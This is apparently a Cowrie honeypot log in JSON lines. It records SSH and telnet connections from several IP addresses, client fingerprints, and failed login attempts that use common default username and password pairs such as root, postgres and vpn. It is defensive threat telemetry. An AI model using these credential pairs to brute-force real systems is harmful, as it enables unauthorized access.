{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:33.511621Z","src_ip":"45.156.87.147","session":"de686c90ae6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:33.760849Z","src_ip":"45.156.87.147","session":"de686c90ae6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:34.846376Z","src_ip":"45.156.87.147","session":"de686c90ae6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44076,"dst_ip":"10.17.0.5","dst_port":22,"session":"b95c7ec44d65","protocol":"ssh","message":"New connection: 45.156.87.147:44076 (10.17.0.5:22) [session: b95c7ec44d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:39.495650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:39.500395Z","src_ip":"45.156.87.147","session":"b95c7ec44d65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:39.584328Z","src_ip":"45.156.87.147","session":"b95c7ec44d65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:39.841454Z","src_ip":"45.156.87.147","session":"b95c7ec44d65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:40.926089Z","src_ip":"45.156.87.147","session":"b95c7ec44d65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":38018,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dc1531a1247","protocol":"ssh","message":"New connection: 43.166.242.149:38018 (159.203.135.109:22) [session: 0dc1531a1247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:44.214589Z"}
{"eventid":"cowrie.session.closed","duration":37.584882497787476,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:44.413403Z","src_ip":"172.81.62.90","session":"676703bf3dcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.102285385131836,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:44.942224Z","src_ip":"172.81.62.90","session":"d909b8a7a30b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44108,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7ce53b4406b","protocol":"ssh","message":"New connection: 45.156.87.147:44108 (10.17.0.5:22) [session: d7ce53b4406b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:45.616659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:45.621197Z","src_ip":"45.156.87.147","session":"d7ce53b4406b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:45.705319Z","src_ip":"45.156.87.147","session":"d7ce53b4406b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:45.955047Z","src_ip":"45.156.87.147","session":"d7ce53b4406b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":53484,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf260a711a31","protocol":"ssh","message":"New connection: 80.66.85.226:53484 (159.203.135.109:22) [session: bf260a711a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:46.021739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:46.026058Z","src_ip":"80.66.85.226","session":"bf260a711a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:46.114733Z","src_ip":"80.66.85.226","session":"bf260a711a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"55555s","message":"login attempt [root/55555s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:46.384120Z","src_ip":"80.66.85.226","session":"bf260a711a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:47.043453Z","src_ip":"45.156.87.147","session":"d7ce53b4406b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:47.475253Z","src_ip":"80.66.85.226","session":"bf260a711a31","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:47.664993Z","src_ip":"43.166.242.149","session":"0dc1531a1247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:47.668314Z","src_ip":"43.166.242.149","session":"0dc1531a1247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"streams","password":"streams","message":"login attempt [streams/streams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:47.921686Z","src_ip":"43.166.242.149","session":"0dc1531a1247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:48.935658Z","src_ip":"43.166.242.149","session":"0dc1531a1247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40308,"dst_ip":"10.17.0.5","dst_port":22,"session":"e378ae9d3cc8","protocol":"ssh","message":"New connection: 45.156.87.147:40308 (10.17.0.5:22) [session: e378ae9d3cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:51.285955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:51.290223Z","src_ip":"45.156.87.147","session":"e378ae9d3cc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:51.373265Z","src_ip":"45.156.87.147","session":"e378ae9d3cc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chenxi","password":"123456","message":"login attempt [chenxi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:51.626606Z","src_ip":"45.156.87.147","session":"e378ae9d3cc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:52.716695Z","src_ip":"45.156.87.147","session":"e378ae9d3cc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.34.59","src_port":44116,"dst_ip":"10.17.0.5","dst_port":22,"session":"4873daa684c2","protocol":"ssh","message":"New connection: 103.161.34.59:44116 (10.17.0.5:22) [session: 4873daa684c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:53.694751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:53.698828Z","src_ip":"103.161.34.59","session":"4873daa684c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:53.782079Z","src_ip":"103.161.34.59","session":"4873daa684c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":37528,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0139829c1f5","protocol":"ssh","message":"New connection: 8.219.200.1:37528 (10.17.0.5:22) [session: a0139829c1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.040364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.045889Z","src_ip":"8.219.200.1","session":"a0139829c1f5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:d5:45:72:ab:8d:30:d1:8b:e9:6a:87:68:dc:85:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDjsv1P3P8muZHMXR/zYBG1EQJkXycdomHqdOofaWat64N4+YPlKBSYzn2mwH2Scg252uTp1GvGl0dHBnpLj8LGilTi/AMT8xoTntRLw1H0nmW5g03p9siE2RHgFiEV7lbg47v6ASHRJYooWITTGcUucqiR+XWrj+4gr28d7ouxfczHUeMWLWReJXcpatFGU0+ib1SWaGxWLRY8tsEKhbXS2ssuFAPok2sH3xX2I260m44gik85kmI4Zsop0qS9c8rwMGYptBPMIs4FjROi54JComL8Rs7i3SCDhJ9WwkbKlnMDU3REorUElhFRNMSSl/awi7fGujYdeoOR3sl0rh0b72B6Ixk0DLzHlA6nryjQXxD4agsluUwH3iRE4eOG7Vlh1epeIeBYLxplTZIdr4Crp6x1ms+qoBphw1Lr8T+trHFPEs1C1sKZq1ziUr4qeTerProyMn6qFJvyy5uXvZ5kG6Tddkd8VtTHUjJTJo7y2XTksqGrEuZcH+WfGgAzUQ8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:d5:45:72:ab:8d:30:d1:8b:e9:6a:87:68:dc:85:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.174092Z","src_ip":"103.161.34.59","session":"4873daa684c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:d5:45:72:ab:8d:30:d1:8b:e9:6a:87:68:dc:85:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDjsv1P3P8muZHMXR/zYBG1EQJkXycdomHqdOofaWat64N4+YPlKBSYzn2mwH2Scg252uTp1GvGl0dHBnpLj8LGilTi/AMT8xoTntRLw1H0nmW5g03p9siE2RHgFiEV7lbg47v6ASHRJYooWITTGcUucqiR+XWrj+4gr28d7ouxfczHUeMWLWReJXcpatFGU0+ib1SWaGxWLRY8tsEKhbXS2ssuFAPok2sH3xX2I260m44gik85kmI4Zsop0qS9c8rwMGYptBPMIs4FjROi54JComL8Rs7i3SCDhJ9WwkbKlnMDU3REorUElhFRNMSSl/awi7fGujYdeoOR3sl0rh0b72B6Ixk0DLzHlA6nryjQXxD4agsluUwH3iRE4eOG7Vlh1epeIeBYLxplTZIdr4Crp6x1ms+qoBphw1Lr8T+trHFPEs1C1sKZq1ziUr4qeTerProyMn6qFJvyy5uXvZ5kG6Tddkd8VtTHUjJTJo7y2XTksqGrEuZcH+WfGgAzUQ8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.178433Z","src_ip":"103.161.34.59","session":"4873daa684c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:ef:30:21:cc:7e:ed:04:b0:a3:9a:49:0f:dd:53:c7","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP2fz5n40jOLVfCCZcrFVenPEd8PF0DbjuaJeZQZFmQwkcJ2DbctVh7Vv1/9AovviKP1pfs6CNoO9Vrc4bPgeaY5OLhA9sxB8aQNrvHQdV8Ytke6FjWZn7gmX0jFEL/LfoxI9HHm9LUfQNVmAF4m1cXLObVA85hxwLHXta87k1MVAAAAFQCGB4vVW/B70O82UxshbqFLbTLU5wAAAIAmhJSIiqz1I3fnoEReuor8y05slcgZat6Mk9ej4hpc+zcYkeWp2k7HMtY3EH4UtN68H083glwV6ZgIuNQZSdAH4RgS1NcJavF30iTHe5K593NMeriYCmrlrrskKjs2zq5Gl1R2kdqbyWPDvjwK8lNWZF5LOjPwNGL7ykaeEuI55wAAAIB02+sgcPecF6L4Pdn5ZeaL/TF7eh8E/hUj4PcXm8xXJ4YYTc7KGbD+589gksF9eTRIqaWPs09UOT2K1cWxKPeH4vcX2eqVBQSslP5FudrB4ih4Qx8wLxxfXZ39UEiOjOMn88aBzETcu85ZEHEfgMuvJz83LJ1MArg58QUFpAPdFQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 4e:ef:30:21:cc:7e:ed:04:b0:a3:9a:49:0f:dd:53:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:54.263849Z","src_ip":"103.161.34.59","session":"4873daa684c2","protocol":"ssh"}
